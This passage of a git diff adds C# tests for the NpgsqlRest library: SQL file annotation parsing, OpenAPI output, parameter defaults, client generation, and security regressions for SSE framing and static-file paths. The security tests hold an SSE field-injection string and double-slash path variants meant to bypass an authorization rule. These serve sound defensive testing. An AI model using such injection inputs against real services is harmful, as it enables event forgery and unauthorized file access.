Guid.NewGuid().ToString("N")[..8]); + Directory.CreateDirectory(_sqlDir); + + // a sentence, several words: never an annotation + File.WriteAllText(Path.Combine(_sqlDir, "prose_sentence.sql"), """ + -- HTTP GET + -- Returns all active users + select 1 as value; + """); + + // one word after "Returns": has the shape of the annotation, but is no type. Taken as a comment. + File.WriteAllText(Path.Combine(_sqlDir, "prose_one_word.sql"), """ + -- HTTP GET + -- Returns everything + select 2 as value; + """); + + // the annotation, without the prefix, with a real type + File.WriteAllText(Path.Combine(_sqlDir, "returns_scalar.sql"), """ + -- HTTP GET + -- returns integer + select 3; + """); + + // the tag written with the optional @, and a single statement without a semicolon + File.WriteAllText(Path.Combine(_sqlDir, "at_http.sql"), """ + -- @http GET + -- @single + select 4 as value, 'four' as name + """); + + // the source's own lines next to prose + File.WriteAllText(Path.Combine(_sqlDir, "multi_named.sql"), """ + -- HTTP GET + -- The users and their count. + -- result of the two queries below + -- @define_param tenant integer + select 5 as value; + -- @result total + select 6 as value; + -- @skip + select 7 as value; + """); + + var builder = WebApplication.CreateBuilder(); + builder.WebHost.UseUrls("http://127.0.0.1:0"); + builder.Logging.ClearProviders(); + _app = builder.Build(); + + _app.UseNpgsqlRest(new NpgsqlRestOptions(connectionString) + { + CommentsMode = CommentsMode.OnlyWithHttpTag, + EndpointSources = + [ + new SqlFileSource(new SqlFileSourceOptions + { + FilePattern = _sqlDir.Replace('\\', '/') + "/**/*.sql", + CommentsMode = CommentsMode.OnlyWithHttpTag, + CommentScope = CommentScope.All, + ErrorMode = ParseErrorMode.Exit, + }) + ], + EndpointsCreated = endpoints => + { + foreach (var endpoint in endpoints) + { + _endpoints[endpoint.Routine.Name] = endpoint; + } + } + }); + + _app.StartAsync().GetAwaiter().GetResult(); + _client = new HttpClient { BaseAddress = new Uri(_app.Urls.First()) }; + } + + private async Task GetAsync(string path) + { + using var response = await _client.GetAsync(path); + var content = await response.Content.ReadAsStringAsync(); + response.StatusCode.Should().Be(HttpStatusCode.OK, content); + return content; + } + + [Fact] + public async Task Sentence_starting_with_Returns_is_prose() + { + (await GetAsync("/api/prose-sentence")).Should().Be("[1]"); + var e = _endpoints["prose_sentence"]; + e.UnhandledCommentLines.Should().Equal("Returns all active users"); + e.AnnotationLines.Should().Equal("HTTP GET"); + e.Routine.SourceFile.Should().EndWith("prose_sentence.sql"); + } + + [Fact] + public async Task One_word_after_Returns_that_is_no_type_is_taken_as_a_comment() + { + // used to be "@returns type 'everything' is not a recognized PostgreSQL type" - and, with ErrorMode Exit, the end + (await GetAsync("/api/prose-one-word")).Should().Be("[2]"); + _endpoints["prose_one_word"].UnhandledCommentLines.Should().Equal("Returns everything"); + } + + [Fact] + public async Task Returns_with_a_real_type_is_the_annotation_also_without_the_prefix() + { + (await GetAsync("/api/returns-scalar")).Should().Be("[3]"); + var e = _endpoints["returns_scalar"]; + e.UnhandledCommentLines.Should().BeNull(); + e.AnnotationLines.Should().Equal("HTTP GET", "returns integer"); + } + + [Fact] + public async Task At_http_is_an_http_tag_and_a_header_without_a_semicolon_is_read() + { + (await GetAsync("/api/at-http")).Should().Be("{\"value\":4,\"name\":\"four\"}"); + } + + [Fact] + public async Task The_sources_own_annotation_lines_are_not_the_description() + { + (await GetAsync("/api/multi-named")).Should().Be("{\"result1\":[5],\"total\":[6]}"); + var e = _endpoints["multi_named"]; + // prose only: what OpenAPI and MCP publish + e.UnhandledCommentLines.Should().Equal("The users and their count.", "result of the two queries below"); + e.UnknownAnnotationLines.Should().BeNull(); + e.AnnotationLines.Should().BeEquivalentTo(["HTTP GET", "@define_param tenant integer", "@result total", "@skip"]); + } + + public void Dispose() + { + _client.Dispose(); + _app.StopAsync().GetAwaiter().GetResult(); + _app.DisposeAsync().GetAwaiter().GetResult(); + try { if (Directory.Exists(_sqlDir)) Directory.Delete(_sqlDir, true); } catch { } + GC.SuppressFinalize(this); + } +} diff --git a/NpgsqlRestTests/SqlFileSourceTests/MultiCommandTests/MultiCommandManyRowsTests.cs b/NpgsqlRestTests/SqlFileSourceTests/MultiCommandTests/MultiCommandManyRowsTests.cs new file mode 100644 index 00000000..7bda572d --- /dev/null +++ b/NpgsqlRestTests/SqlFileSourceTests/MultiCommandTests/MultiCommandManyRowsTests.cs @@ -0,0 +1,42 @@ +namespace NpgsqlRestTests.SqlFileSourceTests; + +public static partial class SqlFiles +{ + public static void MultiCommandManyRowsTests() + { + File.WriteAllText(Path.Combine(Dir, "multi_many_rows.sql"), """ + -- @param $1 count + select i as id, 'name ' || i as name, array['a' || i, 'b"' || i] as tags from generate_series(1, $1::int) i; + select $1::int as requested; + """); + } +} + +/// +/// Multi-statement SQL files with statements that return more rows than BufferRows (25 by default): every row must be +/// in the response exactly once. Rows already sent used to stay in the row buffer, so from the 26th row on the +/// response repeated rows and was not valid JSON. +/// +[Collection("SqlFileSourceFixture")] +public class MultiCommandManyRowsTests(SqlFileSourceTestFixture test) +{ + private static string Expected(int count) => + "{\"result1\":[" + + string.Join(",", Enumerable.Range(1, count).Select(i => $"{{\"id\":{i},\"name\":\"name {i}\",\"tags\":[\"a{i}\",\"b\\\"{i}\"]}}")) + + $"],\"result2\":[{count}]}}"; // a single unnamed-set column is an array of values + + [Theory] + [InlineData(1)] + [InlineData(25)] + [InlineData(26)] + [InlineData(60)] + [InlineData(1000)] + public async Task Every_row_is_returned_once(int count) + { + using var response = await test.Client.GetAsync($"/api/multi-many-rows?count={count}"); + var content = await response.Content.ReadAsStringAsync(); + + response.StatusCode.Should().Be(HttpStatusCode.OK, $"Response: {content}"); + content.Should().Be(Expected(count)); + } +} diff --git a/NpgsqlRestTests/SqlFileSourceTests/OpenApiTests/OpenApiSqlFileResponseTests.cs b/NpgsqlRestTests/SqlFileSourceTests/OpenApiTests/OpenApiSqlFileResponseTests.cs new file mode 100644 index 00000000..192e19cf --- /dev/null +++ b/NpgsqlRestTests/SqlFileSourceTests/OpenApiTests/OpenApiSqlFileResponseTests.cs @@ -0,0 +1,87 @@ +using System.Text.Json.Nodes; +using NpgsqlRestTests.Setup; + +namespace NpgsqlRestTests.SqlFileSourceTests; + +public static partial class SqlFiles +{ + public static void OpenApiSqlFileResponseTests() + { + // One statement, one row + File.WriteAllText(Path.Combine(Dir, "oas_sf_single.sql"), """ + -- HTTP GET + -- @single + select 1 as id, 'a' as name; + """); + + // Several statements: a single row, a skipped statement, a statement that returns nothing, a set + File.WriteAllText(Path.Combine(Dir, "oas_sf_multi.sql"), """ + -- HTTP POST + -- @single + -- @result thing + select 1 as id, 'a' as name; + -- @skip + select 1; + -- @result changed + update sql_describe_test set active = active where false; + -- @result things + select 2 as id, 'b' as name; + """); + + // Several statements with the void annotation: all are run, nothing is returned + File.WriteAllText(Path.Combine(Dir, "oas_sf_multi_void.sql"), """ + -- HTTP POST + -- @void + select 1 as id; + select 2 as id; + """); + } +} + +// What the OpenAPI document says an SQL file endpoint answers with, next to what the endpoint answers with. +// https://github.com/NpgsqlRest/NpgsqlRest/issues/36 +[Collection("SqlFileSourceFixture")] +public class OpenApiSqlFileResponseTests(SqlFileSourceTestFixture test) +{ + private string Documented(string path, string method) + { + File.Exists(test.OpenApiFile).Should().BeTrue($"Expected file at {test.OpenApiFile}"); + var operation = JsonNode.Parse(File.ReadAllText(test.OpenApiFile))!["paths"]?[path]?[method]; + operation.Should().NotBeNull($"{method} {path} should be documented"); + return operation!["responses"]!.ToJsonString(); + } + + private async Task Answered(string path, string method) + { + using var request = new HttpRequestMessage(new HttpMethod(method), path); + using var response = await test.Client.SendAsync(request); + return $"{(int)response.StatusCode} {response.Content.Headers.ContentType?.MediaType} {await response.Content.ReadAsStringAsync()}"; + } + + private const string Thing = """{"type":"object","properties":{"id":{"type":"integer","format":"int32"},"name":{"type":"string"}}}"""; + + [Fact] + public async Task Single_statement_with_single_is_one_object() + { + (await Answered("/api/oas-sf-single", "GET")).Should().Be("""200 application/json {"id":1,"name":"a"}"""); + Documented("/api/oas-sf-single", "get").Should().Be( + """{"200":{"description":"Successful response","content":{"application/json":{"schema":""" + Thing + "}}}}"); + } + + [Fact] + public async Task Several_statements_are_an_object_with_a_property_for_each() + { + (await Answered("/api/oas-sf-multi", "POST")).Should().Be( + """200 application/json {"thing":{"id":1,"name":"a"},"changed":0,"things":[{"id":2,"name":"b"}]}"""); + Documented("/api/oas-sf-multi", "post").Should().Be( + """{"200":{"description":"Successful response","content":{"application/json":{"schema":{"type":"object","properties":{"thing":""" + + Thing + ""","changed":{"type":"integer"},"things":{"type":"array","items":""" + Thing + "}}}}}}}"); + } + + [Fact] + public async Task Several_statements_with_void_have_no_body() + { + (await Answered("/api/oas-sf-multi-void", "POST")).Should().Be("204 "); + Documented("/api/oas-sf-multi-void", "post").Should().Be("""{"204":{"description":"No content"}}"""); + } +} diff --git a/NpgsqlRestTests/SqlFileSourceTests/ParserTests/LexerAndPrefixTests.cs b/NpgsqlRestTests/SqlFileSourceTests/ParserTests/LexerAndPrefixTests.cs new file mode 100644 index 00000000..ee43f1cf --- /dev/null +++ b/NpgsqlRestTests/SqlFileSourceTests/ParserTests/LexerAndPrefixTests.cs @@ -0,0 +1,124 @@ +using NpgsqlRest.SqlFileSource; + +namespace NpgsqlRestTests.SqlFileSourceTests; + +/// +/// The SQL file lexer: quoted identifiers, escape strings and dollar signs (4.1.0), and the RequireAtPrefix +/// reading of the lines the source reads itself. +/// +public class LexerAndPrefixTests +{ + [Fact] + public void A_quoted_identifier_may_contain_a_comment_marker() + { + var result = SqlFileParser.Parse("-- HTTP GET\nselect 1 as \"a--b\", 2 as c;"); + result.Errors.Should().BeEmpty(); + result.Statements.Should().Equal("select 1 as \"a--b\", 2 as c"); + result.Comment.Trim().Should().Be("HTTP GET"); + } + + [Fact] + public void A_quoted_identifier_may_contain_a_semicolon_and_quotes() + { + var result = SqlFileParser.Parse("select 1 as \"a;b\", 2 as \"say \"\"hi\"\"; ok\", 3 as \"it's /* not a comment */\";\nselect 2;"); + result.Statements.Should().Equal( + "select 1 as \"a;b\", 2 as \"say \"\"hi\"\"; ok\", 3 as \"it's /* not a comment */\"", + "select 2"); + result.Comment.Should().BeEmpty(); + } + + [Fact] + public void An_unterminated_quoted_identifier_takes_the_rest_of_the_file() + { + var result = SqlFileParser.Parse("select 1 as \"open; select 2;"); + result.Statements.Should().Equal("select 1 as \"open; select 2;"); + } + + [Fact] + public void Two_parameters_side_by_side_are_not_a_dollar_quoted_string() + { + var result = SqlFileParser.Parse("select $1$2 as glued; -- @single\nselect $2;"); + result.Statements.Should().Equal("select $1$2 as glued", "select $2"); + result.SingleCommands.Should().Equal(0); + } + + [Theory] + [InlineData("select $$a;b$$ as v;\nselect 2;", "select $$a;b$$ as v")] + [InlineData("select $tag$a;b -- x$tag$ as v;\nselect 2;", "select $tag$a;b -- x$tag$ as v")] + [InlineData("select $_t1$a;b$_t1$ as v;\nselect 2;", "select $_t1$a;b$_t1$ as v")] + public void Dollar_quoted_strings_are_still_strings(string sql, string first) + { + var result = SqlFileParser.Parse(sql); + result.Statements.Should().Equal(first, "select 2"); + result.Comment.Should().BeEmpty(); + } + + [Fact] + public void A_backslash_escapes_a_quote_in_an_escape_string() + { + var result = SqlFileParser.Parse("select E'it\\'s; here' as a, e'\\\\' as b;\nselect 2;"); + result.Statements.Should().Equal("select E'it\\'s; here' as a, e'\\\\' as b", "select 2"); + } + + [Fact] + public void A_backslash_is_an_ordinary_character_in_a_plain_string() + { + var result = SqlFileParser.Parse("select 'c:\\' as a, name'x\\' as b;\nselect 2;"); + result.Statements.Should().Equal("select 'c:\\' as a, name'x\\' as b", "select 2"); + } + + [Theory] + [InlineData("-- single\nselect 1;")] + [InlineData("-- skip\nselect 1;")] + [InlineData("-- returns text\nselect 1;")] + [InlineData("-- result first\nselect 1;")] + [InlineData("-- define_param _x text\nselect 1;")] + public void With_the_prefix_required_a_line_without_it_is_text(string sql) + { + var result = SqlFileParser.Parse(sql, CommentScope.All, requireAtPrefix: true); + result.SingleCommands.Should().BeEmpty(); + result.SkipCommands.Should().BeEmpty(); + result.ReturnsTypeOverrides.Should().BeEmpty(); + result.PositionalResultNames.Should().BeEmpty(); + result.VirtualParams.Should().BeEmpty(); + result.ConsumedCommentLines.Should().BeEmpty(); + } + + [Fact] + public void With_the_prefix_required_the_prefixed_lines_are_read() + { + var result = SqlFileParser.Parse( + "-- @define_param _x text\n-- @returns my_type\nselect 1; -- @single\n-- @skip\nselect 2;\n-- @result third\nselect 3;", + CommentScope.All, requireAtPrefix: true); + result.VirtualParams.Should().Equal(("_x", "text")); + result.ReturnsTypeOverrides.Should().Equal(new Dictionary { [0] = "my_type" }); + result.SingleCommands.Should().Equal(0); + result.SkipCommands.Should().Equal(1); + result.PositionalResultNames.Should().Equal(new Dictionary { [2] = "third" }); + } + + [Fact] + public void Without_the_setting_both_forms_are_read() + { + var result = SqlFileParser.Parse("-- single\nselect 1;\n-- @single\nselect 2;"); + result.SingleCommands.Should().BeEquivalentTo([0, 1]); + } + + [Theory] + [InlineData("param $1 type is integer", false, "integer")] + [InlineData("@param $1 type is integer", false, "integer")] + [InlineData("@param $1 type is integer", true, "integer")] + [InlineData("param $1 type is integer", true, null)] + public void Parameter_type_hints_follow_the_setting(string comment, bool requireAtPrefix, string? expected) + { + var hints = SqlFileParser.ExtractParamTypeHints(comment, null, requireAtPrefix); + if (expected is null) + { + hints.Should().BeNull(); + } + else + { + hints![0].Should().Be(expected); + } + } +} diff --git a/NpgsqlRestTests/SqlFileSourceTests/ParserTests/PositionalAnnotationShapeTests.cs b/NpgsqlRestTests/SqlFileSourceTests/ParserTests/PositionalAnnotationShapeTests.cs new file mode 100644 index 00000000..4ac36c62 --- /dev/null +++ b/NpgsqlRestTests/SqlFileSourceTests/ParserTests/PositionalAnnotationShapeTests.cs @@ -0,0 +1,137 @@ +using NpgsqlRest.SqlFileSource; + +namespace NpgsqlRestTests.SqlFileSourceTests; + +/// +/// The SQL file source reads four annotations of its own from comments: returns, result, skip and define_param. +/// A comment may also simply be a sentence that begins with one of those words. A line is an annotation when its +/// first WORD is the keyword, and - without the @ prefix - only when the rest has the shape of one. +/// +public class PositionalAnnotationShapeTests +{ + private static SqlFileParseResult Parse(string header, string statements = "select 1;") => + SqlFileParser.Parse(header + "\n" + statements); + + [Theory] + [InlineData("-- Returns all active users")] + [InlineData("-- returns the rows that match")] + [InlineData("-- Returns: a list of users")] + [InlineData("/* Returns one row per customer */")] + [InlineData("-- returns")] + [InlineData("-- returns_all users")] + [InlineData("-- returnsusers")] + public void A_sentence_starting_with_returns_is_not_the_annotation(string header) + { + var result = Parse(header); + result.ReturnsTypeOverrides.Should().BeEmpty(); + result.ImplicitReturns.Should().BeEmpty(); + result.ConsumedCommentLines.Should().BeEmpty(); + result.Statements.Should().Equal("select 1"); + } + + [Theory] + [InlineData("-- returns users", "users")] + [InlineData("-- RETURNS my_schema.user_row", "my_schema.user_row")] + [InlineData("-- returns int[]", "int[]")] + [InlineData("-- returns numeric(10, 2)", "numeric(10, 2)")] + [InlineData("-- returns double precision", "double precision")] + [InlineData("-- returns timestamp with time zone", "timestamp with time zone")] + [InlineData("-- returns character varying(20)", "character varying(20)")] + [InlineData("-- returns \"My Type\"", "\"My Type\"")] + [InlineData("-- returns void;", "void")] + public void Without_the_prefix_a_type_shaped_value_is_the_annotation_and_marked_implicit(string header, string type) + { + var result = Parse(header); + result.ReturnsTypeOverrides.Should().Equal(new Dictionary { [0] = type }); + result.ImplicitReturns.Should().Equal(0); + result.ConsumedCommentLines.Should().ContainSingle(); + } + + [Theory] + [InlineData("-- @returns users", "users")] + [InlineData("-- @returns my composite type", "my composite type")] + [InlineData("-- @RETURNS void", "void")] + public void With_the_prefix_the_line_is_always_the_annotation_and_explicit(string header, string type) + { + var result = Parse(header); + result.ReturnsTypeOverrides.Should().Equal(new Dictionary { [0] = type }); + result.ImplicitReturns.Should().BeEmpty(); + } + + [Theory] + [InlineData("-- result of the join")] + [InlineData("-- result is not what you expect")] + [InlineData("-- resulting rows")] + [InlineData("-- results users")] + [InlineData("-- result")] + [InlineData("-- result user-list")] + public void A_sentence_starting_with_result_is_not_the_annotation(string comment) + { + var result = SqlFileParser.Parse("select 1;\n" + comment + "\nselect 2;"); + result.PositionalResultNames.Should().BeEmpty(); + result.ConsumedCommentLines.Should().BeEmpty(); + } + + [Theory] + [InlineData("-- result users", "users")] + [InlineData("-- result is users", "users")] + [InlineData("-- RESULT IS user_list", "user_list")] + [InlineData("-- @result users", "users")] + [InlineData("-- @result is users", "users")] + // with the prefix the line is meant as the annotation: the first word is the name, as before + [InlineData("-- @result of the join", "of")] + public void Result_names_the_next_statement(string comment, string name) + { + var result = SqlFileParser.Parse("select 1;\n" + comment + "\nselect 2;"); + result.PositionalResultNames.Should().Equal(new Dictionary { [1] = name }); + result.ConsumedCommentLines.Should().ContainSingle(); + } + + [Theory] + [InlineData("-- define_params tenant")] + [InlineData("-- define_parameter tenant")] + [InlineData("-- define_param")] + [InlineData("-- @define_param")] + public void A_line_that_is_not_define_param_defines_nothing(string header) + { + Parse(header).VirtualParams.Should().BeEmpty(); + } + + [Theory] + [InlineData("-- define_param tenant", "tenant", null)] + [InlineData("-- @define_param tenant integer", "tenant", "integer")] + [InlineData("-- @DEFINE_PARAM tenant uuid ignored", "tenant", "uuid")] + public void Define_param_defines_a_virtual_parameter(string header, string name, string? type) + { + var result = Parse(header); + result.VirtualParams.Should().Equal((name, type)); + result.ConsumedCommentLines.Should().ContainSingle(); + } + + [Fact] + public void Header_of_a_single_statement_without_a_semicolon_is_read() + { + // The header was only scanned when the statement ended with a semicolon. + var result = SqlFileParser.Parse("-- HTTP GET\n-- @returns void\n-- @single\nselect 1"); + result.Statements.Should().Equal("select 1"); + result.ReturnsTypeOverrides.Should().Equal(new Dictionary { [0] = "void" }); + result.SingleCommands.Should().Equal(0); + } + + [Fact] + public void Skip_and_single_are_whole_words() + { + var result = SqlFileParser.Parse("select 1;\n-- skip this for now\n-- singles only\nselect 2;\n-- @skip\nselect 3;\n-- single\nselect 4;"); + result.SkipCommands.Should().Equal(2); + result.SingleCommands.Should().Equal(3); + // skip is the source's own line; single is also core's (the endpoint as a whole), so it is left for core + result.ConsumedCommentLines.Should().Equal("@skip"); + } + + [Fact] + public void Inline_annotation_after_the_semicolon_applies_to_that_statement() + { + var result = SqlFileParser.Parse("select 1; -- @result first\nselect 2; -- result is second\nselect 3; -- result of nothing"); + result.PositionalResultNames.Should().Equal(new Dictionary { [0] = "first", [1] = "second" }); + } +} diff --git a/NpgsqlRestTests/SqlFileSourceTests/ProxyTests/SqlFileProxyOutTests.cs b/NpgsqlRestTests/SqlFileSourceTests/ProxyTests/SqlFileProxyOutTests.cs index 595a1f3f..d3a3e046 100644 --- a/NpgsqlRestTests/SqlFileSourceTests/ProxyTests/SqlFileProxyOutTests.cs +++ b/NpgsqlRestTests/SqlFileSourceTests/ProxyTests/SqlFileProxyOutTests.cs @@ -14,7 +14,7 @@ public async Task SqlFile_ProxyOut_ExecutesSqlThenForwardsToUpstream() .Given(Request.Create() .WithPath("/api/sf-proxy-out-basic") .UsingPost() - .WithBody(b => b.Contains("key") && b.Contains("value"))) + .WithBody(b => b!.Contains("key") && b.Contains("value"))) .RespondWith(Response.Create() .WithStatusCode(200) .WithHeader("Content-Type", "application/json") diff --git a/NpgsqlRestTests/SqlFileSourceTests/QueryEndpointTests/ParamDefaultValueTests.cs b/NpgsqlRestTests/SqlFileSourceTests/QueryEndpointTests/ParamDefaultValueTests.cs index c85c9886..6488a7b3 100644 --- a/NpgsqlRestTests/SqlFileSourceTests/QueryEndpointTests/ParamDefaultValueTests.cs +++ b/NpgsqlRestTests/SqlFileSourceTests/QueryEndpointTests/ParamDefaultValueTests.cs @@ -139,6 +139,22 @@ public static void ParamDefaultValueTests() select $1 as result; """); + // Typed parameters with a default: the default text must be converted to the declared type + File.WriteAllText(Path.Combine(Dir, "default_typed_int_param.sql"), """ + -- @param $1 _limit int default 10 + select $1 as result; + """); + + File.WriteAllText(Path.Combine(Dir, "default_typed_mixed_params.sql"), """ + -- HTTP POST + -- @param $1 productId int + -- @param $2 quantity int default 1 + -- @param $3 price numeric = 9.5 + -- @param $4 express boolean default true + -- @param $5 day date default '2026-01-31' + select $1 as product_id, $2 as quantity, $3 as price, $4 as express, $5 as day; + """); + // @param type hint enables Describe for set_config (PostgreSQL can't infer $1 type without hint) File.WriteAllText(Path.Combine(Dir, "param_type_hint_set_config.sql"), """ -- @param $1 my_key text @@ -526,4 +542,45 @@ public async Task ParamTypeHint_SetConfig_EndpointExists() var content = await response.Content.ReadAsStringAsync(); content.Should().Be("""["hello"]"""); } + + // --- Typed parameters with a default (regression: 500 "Writing values of 'System.String' is not supported") --- + + [Fact] + public async Task DefaultTypedInt_NotProvided_UsesDefault() + { + using var response = await test.Client.GetAsync("/api/default-typed-int-param"); + var content = await response.Content.ReadAsStringAsync(); + response.StatusCode.Should().Be(HttpStatusCode.OK, content); + content.Should().Be("[10]"); + } + + [Fact] + public async Task DefaultTypedInt_Provided_UsesProvidedValue() + { + using var response = await test.Client.GetAsync("/api/default-typed-int-param?_limit=3"); + var content = await response.Content.ReadAsStringAsync(); + response.StatusCode.Should().Be(HttpStatusCode.OK, content); + content.Should().Be("[3]"); + } + + [Fact] + public async Task DefaultTypedMixed_Body_NotProvided_UsesDefaults() + { + using var body = new StringContent("{\"productId\":7}", Encoding.UTF8, "application/json"); + using var response = await test.Client.PostAsync("/api/default-typed-mixed-params", body); + var content = await response.Content.ReadAsStringAsync(); + response.StatusCode.Should().Be(HttpStatusCode.OK, content); + content.Should().Be("[{\"productId\":7,\"quantity\":1,\"price\":9.5,\"express\":true,\"day\":\"2026-01-31\"}]"); + } + + [Fact] + public async Task DefaultTypedMixed_Body_Provided_UsesProvidedValues() + { + using var body = new StringContent( + "{\"productId\":7,\"quantity\":4,\"price\":1.25,\"express\":false,\"day\":\"2025-12-24\"}", Encoding.UTF8, "application/json"); + using var response = await test.Client.PostAsync("/api/default-typed-mixed-params", body); + var content = await response.Content.ReadAsStringAsync(); + response.StatusCode.Should().Be(HttpStatusCode.OK, content); + content.Should().Be("[{\"productId\":7,\"quantity\":4,\"price\":1.25,\"express\":false,\"day\":\"2025-12-24\"}]"); + } } diff --git a/NpgsqlRestTests/SqlFileSourceTests/Setup/SqlFileSourceTestFixture.cs b/NpgsqlRestTests/SqlFileSourceTests/Setup/SqlFileSourceTestFixture.cs index 67db469c..431782d1 100644 --- a/NpgsqlRestTests/SqlFileSourceTests/Setup/SqlFileSourceTestFixture.cs +++ b/NpgsqlRestTests/SqlFileSourceTests/Setup/SqlFileSourceTestFixture.cs @@ -32,6 +32,7 @@ public class SqlFileSourceTestFixture : IDisposable public WebApplication App => _app; public string SqlDir => _sqlDir; public string TsClientDir => _tsClientDir; + public string OpenApiFile => Path.Combine(_tsClientDir, "openapi.json"); /// /// Create a fresh HttpClient with its own cookie container (for auth test isolation). @@ -146,6 +147,13 @@ public SqlFileSourceTestFixture() FilePath = Path.Combine(_tsClientDir, "{0}.ts"), BySchema = true, IncludeStatusCode = false, + }), + // The OpenAPI document of the SQL file endpoints (OpenApiSqlFileResponseTests) + new NpgsqlRest.OpenAPI.OpenApi(new NpgsqlRest.OpenAPI.OpenApiOptions + { + FileName = OpenApiFile, + FileOverwrite = true, + AddCurrentServer = false }) ], }); diff --git a/NpgsqlRestTests/SqlFileSourceTests/TsClientTests/SqlFileTsClientTests.cs b/NpgsqlRestTests/SqlFileSourceTests/TsClientTests/SqlFileTsClientTests.cs index 7d34689e..ca04a3b5 100644 --- a/NpgsqlRestTests/SqlFileSourceTests/TsClientTests/SqlFileTsClientTests.cs +++ b/NpgsqlRestTests/SqlFileSourceTests/TsClientTests/SqlFileTsClientTests.cs @@ -33,6 +33,19 @@ public void TsClient_SingleCommand_VoidDoBlock() content.Should().Contain("export async function doBlock() : Promise"); } + // Regression: a multi-command file with the void annotation answers 204 with no body, but its client + // function was typed as returning the command results and read them with response.json(), which throws + // "Unexpected end of JSON input" in the browser. + [Fact] + public void TsClient_MultiCommand_VoidAnnotation_ReturnsVoid() + { + var file = Directory.GetFiles(test.TsClientDir, "*.ts").Single(f => File.ReadAllText(f).Contains("function tsMultiVoid(")); + var content = File.ReadAllText(file); + content.Should().Contain("Promise"); + content.Should().NotContain("ITsMultiVoidResponse"); + content.Should().NotContain("response.json()"); + } + [Fact] public void TsClient_SingleCommand_NoParams() { diff --git a/NpgsqlRestTests/SqlFileSourceTests/TsClientTests/TsClientSqlFiles.cs b/NpgsqlRestTests/SqlFileSourceTests/TsClientTests/TsClientSqlFiles.cs index b61ebd1a..55daef1f 100644 --- a/NpgsqlRestTests/SqlFileSourceTests/TsClientTests/TsClientSqlFiles.cs +++ b/NpgsqlRestTests/SqlFileSourceTests/TsClientTests/TsClientSqlFiles.cs @@ -17,6 +17,16 @@ public static void TsClientSqlFiles() do $$ begin perform 1; end; $$; """); + // Multi command with the void annotation — the endpoint answers 204, no body + File.WriteAllText(Path.Combine(Dir, "ts_multi_void.sql"), """ + -- HTTP POST + -- tsclient_module=ts_multi_void + -- @void + -- @param $1 id + select set_config('ts_multi_void.id', $1::text, true); + select name from sql_describe_test where id = $1; + """); + // Multi command — two SELECTs File.WriteAllText(Path.Combine(Dir, "ts_multi_select.sql"), """ -- tsclient_module=ts_multi_select diff --git a/NpgsqlRestTests/SseTests/SseEventFramingTests.cs b/NpgsqlRestTests/SseTests/SseEventFramingTests.cs new file mode 100644 index 00000000..13a86066 --- /dev/null +++ b/NpgsqlRestTests/SseTests/SseEventFramingTests.cs @@ -0,0 +1,74 @@ +namespace NpgsqlRestTests.SseTests; + +using System.Text.Json; +using NpgsqlRestTests.Setup; + +/// +/// Security regression: an SSE message containing line breaks is sent as one data: line per line. It used to be +/// written as-is, so a RAISE message carrying user text could add event:/id:/retry: fields or end the event early and +/// forge a second event in every subscriber's stream. +/// +[Collection("SseAnnotationTestFixture")] +public class SseEventFramingTests(SseAnnotationTestFixture test) +{ + [Fact] + public async Task Line_breaks_in_a_message_cannot_inject_fields_or_events() + { + using var client = test.CreateClient(); + await using var sse = await SseTestClient.OpenAsync(client, "/api/sset-subscribe-user-events/info"); + await sse.WaitForRegisteredAsync(); + + var message = "hello\nevent: admin\r\nretry: 1\n\ndata: forged"; + using var publish = await client.PostAsync("/api/sset-publish-message", + new StringContent(JsonSerializer.Serialize(new Dictionary { ["msg"] = message }), Encoding.UTF8, "application/json")); + publish.StatusCode.Should().BeOneOf(HttpStatusCode.OK, HttpStatusCode.NoContent); + + var lines = await sse.ReadEventLinesAsync(TimeSpan.FromSeconds(10)); + lines.Should().Equal( + "data: hello", + "data: event: admin", + "data: retry: 1", + "data: ", + "data: data: forged"); + } +} + +public class SseFramingUnitTests +{ + [Theory] + [InlineData("plain", "data: plain\n\n")] + [InlineData("", "data: \n\n")] + [InlineData(null, "data: \n\n")] + [InlineData("a\nb", "data: a\ndata: b\n\n")] + [InlineData("a\r\nb", "data: a\ndata: b\n\n")] + [InlineData("a\rb", "data: a\ndata: b\n\n")] + [InlineData("a\n\nb\n", "data: a\ndata: \ndata: b\ndata: \n\n")] + public void Every_line_becomes_its_own_data_line(string? message, string expected) + { + NpgsqlRestSseEventSource.FormatEventData(message).Should().Be(expected); + } + + [Fact] + public async Task Subscriber_that_does_not_read_keeps_only_the_newest_messages() + { + var broadcaster = new Broadcaster(subscriberCapacity: 3); + var id = Guid.NewGuid(); + var reader = broadcaster.Subscribe(id); + for (var i = 1; i <= 5; i++) + { + broadcaster.Broadcast(i); + } + broadcaster.SubscriberCount.Should().Be(1, "a full buffer drops old messages, it does not drop the subscriber"); + + var received = new List(); + while (reader.TryRead(out var item)) + { + received.Add(item); + } + received.Should().Equal(3, 4, 5); + + broadcaster.Broadcast(6); + (await reader.ReadAsync()).Should().Be(6); + broadcaster.Unsubscribe(id); + } +} diff --git a/NpgsqlRestTests/StaticFilesTests/StaticFilesPathNormalizationTests.cs b/NpgsqlRestTests/StaticFilesTests/StaticFilesPathNormalizationTests.cs new file mode 100644 index 00000000..d613d9cd --- /dev/null +++ b/NpgsqlRestTests/StaticFilesTests/StaticFilesPathNormalizationTests.cs @@ -0,0 +1,66 @@ +namespace NpgsqlRestTests.StaticFilesTests; + +/// +/// Security regressions for the static file middleware: +/// - AuthorizePaths must apply to every request path that resolves to the protected file ("//protected/..." used to +/// bypass the "/protected/*" rule because patterns were matched against the raw request path); +/// - files inside dot-directories (.git, .svn, ...) must not be served. +/// +[Collection("StaticFilesTestFixture")] +public class StaticFilesPathNormalizationTests(StaticFilesTestFixture test) +{ + private HttpClient AnonymousNoRedirect() => + new(new HttpClientHandler { AllowAutoRedirect = false, UseCookies = false }); + + private Uri Url(string rawPath) => new(test.ServerAddress.TrimEnd('/') + rawPath); + + [Fact] + public async Task Protected_file_redirects_anonymous_user() + { + using var client = AnonymousNoRedirect(); + using var response = await client.GetAsync(Url("/protected/secret.html")); + + response.StatusCode.Should().Be(HttpStatusCode.Redirect); + response.Headers.Location!.ToString().Should().Be("/login.html?return_to=%2Fprotected%2Fsecret.html"); + } + + [Theory] + [InlineData("//protected/secret.html")] + [InlineData("///protected/secret.html")] + [InlineData("/protected//secret.html")] + public async Task Path_variants_of_a_protected_file_are_protected_too(string rawPath) + { + using var client = AnonymousNoRedirect(); + using var response = await client.GetAsync(Url(rawPath)); + + response.StatusCode.Should().Be(HttpStatusCode.Redirect); + response.Headers.Location!.ToString().Should().StartWith("/login.html?return_to="); + } + + [Fact] + public async Task Files_in_dot_directories_are_not_served() + { + var gitDir = Path.Combine(test.WebRootPath, ".git"); + Directory.CreateDirectory(gitDir); + 